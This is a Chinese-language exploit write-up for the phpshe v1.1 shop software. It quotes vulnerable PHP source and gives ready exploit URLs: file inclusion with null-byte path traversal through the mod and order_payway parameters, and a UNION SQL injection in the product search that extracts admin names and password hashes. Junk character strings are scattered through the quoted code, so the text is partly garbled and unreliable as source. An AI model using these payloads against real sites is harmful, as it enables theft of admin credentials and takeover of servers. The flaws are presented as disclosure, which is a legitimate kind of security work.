phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
4 j* n! l  x" R# z/* ========================
& _3 T* \: F( e( l/ R! E/* By: : Kn1f3
8 V/ b( E% a# d/ J* z3 C- P1 M+ T/* E-Mail : 681796@qq.com
2 E3 B: |, H) K: z) v. E. |  d& w/*******************************************************/
0×00 整体大概参数传输



//common.php
7 r0 U, w- I2 K" z" i% Jif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
  ?4 s; O' L9 _$ @# M) b& W" ^* telse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- n6 P& V4 M/ U!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
( t4 V& E8 L! k$ W: q! ?session_start();
9 ?* a4 I7 [8 i!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
9 K' j* j! _+ O( l
0×01 包含漏洞
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' |# m6 x0 c4 `4 ^* r+ _3 Z//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
4 r, p% f* H! w2 h) W: y* W9 X, B" }include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
) V% `7 b0 H; b) `/ {0 j?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( M& \/ _* J# O/ ^7 Y$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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* ^* @; S8 S1 n2 m# `) w0 ? 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
; ~2 x, [& P% Y  |% ]) n6 Y) E- m$info = $db->pe_select('category', array('category_id'=>$category_id));
1 F  e- }# D3 y5 J1 W/ h0 a% x//搜索
! `9 ?  v( Z1 d' ^) ?7 m) l1 b* ]3 M; r$sqlwhere = " and `product_state` = 1";
8 m4 o6 d  B3 c" P. A& o: Kpe_lead('hook/category.hook.php');
if ($category_id) {
1 k! Y* M3 X3 E* b/ l' j* y, D3 J1 s$ xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 m3 g7 O! J7 V9 X}
: [% [% j* E0 ~9 A( J) C$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
: A" x3 e: W4 j- ~4 f) e$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
* h8 r- v2 n$ Z/ A9 i% n2 U}
else {
) N( ^3 p. B* n* {" A$sqlwhere .= " order by `product_id` desc";
; A( }2 D- x3 A/ N" X$ |( x}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
5 J8 C$ I0 J7 s, y' k1 ?; C$product_hotlist = product_hotlist();
8 t* Y4 V, R2 W$ e( Y% p* E//当前路径
* f* ?' ]9 E. {/ \* U9 @# p& n$nowpath = category_path($category_id);
4 m; F, E) F( E1 X$seo = pe_seo($info['category_name']);
5 G; n; [# b5 U* K& Y- i# g; Ninclude(pe_tpl('product_list.html'));
//跟进selectall函数库
5 n- v% W' t* wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
. o" R2 g% O; f8 f//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
; T* I. M9 j5 c* N" gproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
6 u& ^+ p8 |: y" s1 q

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

) R1 G, B: [0 w6 H+ c3 M$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

7 E" r" R$ r& m* xforeach($cache_payway as $k => $v) {

6 b5 \- F, R" u, ~- P. u$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

5 ]% G. w) S' t2 c5 N2 b4 Aif ($k == 'bank') {

0 @5 G0 R# K, Z$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

  e9 E" K1 ?/ f: w! E7 f!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 c9 B2 Z+ n1 y- a* A4 d3 S8 T' lforeach ($info_list as $v) {

, `0 V9 ]0 P4 ]' W% g$order['order_name'] .= "{$v['product_name']};";
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}

1 I7 ^. n/ M& a0 c: F+ n7 t# e1 [( Qecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

2 S& N& |% ?3 }% N" c}

}

% a" ~6 F4 H) y: _- o$ H1 l6 |$seo = pe_seo('选择支付方式');

. {, @5 H! [' p# D" W8 X: C! I% Yinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
8 k' s) ]9 ^' G/ n9 I6 \http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg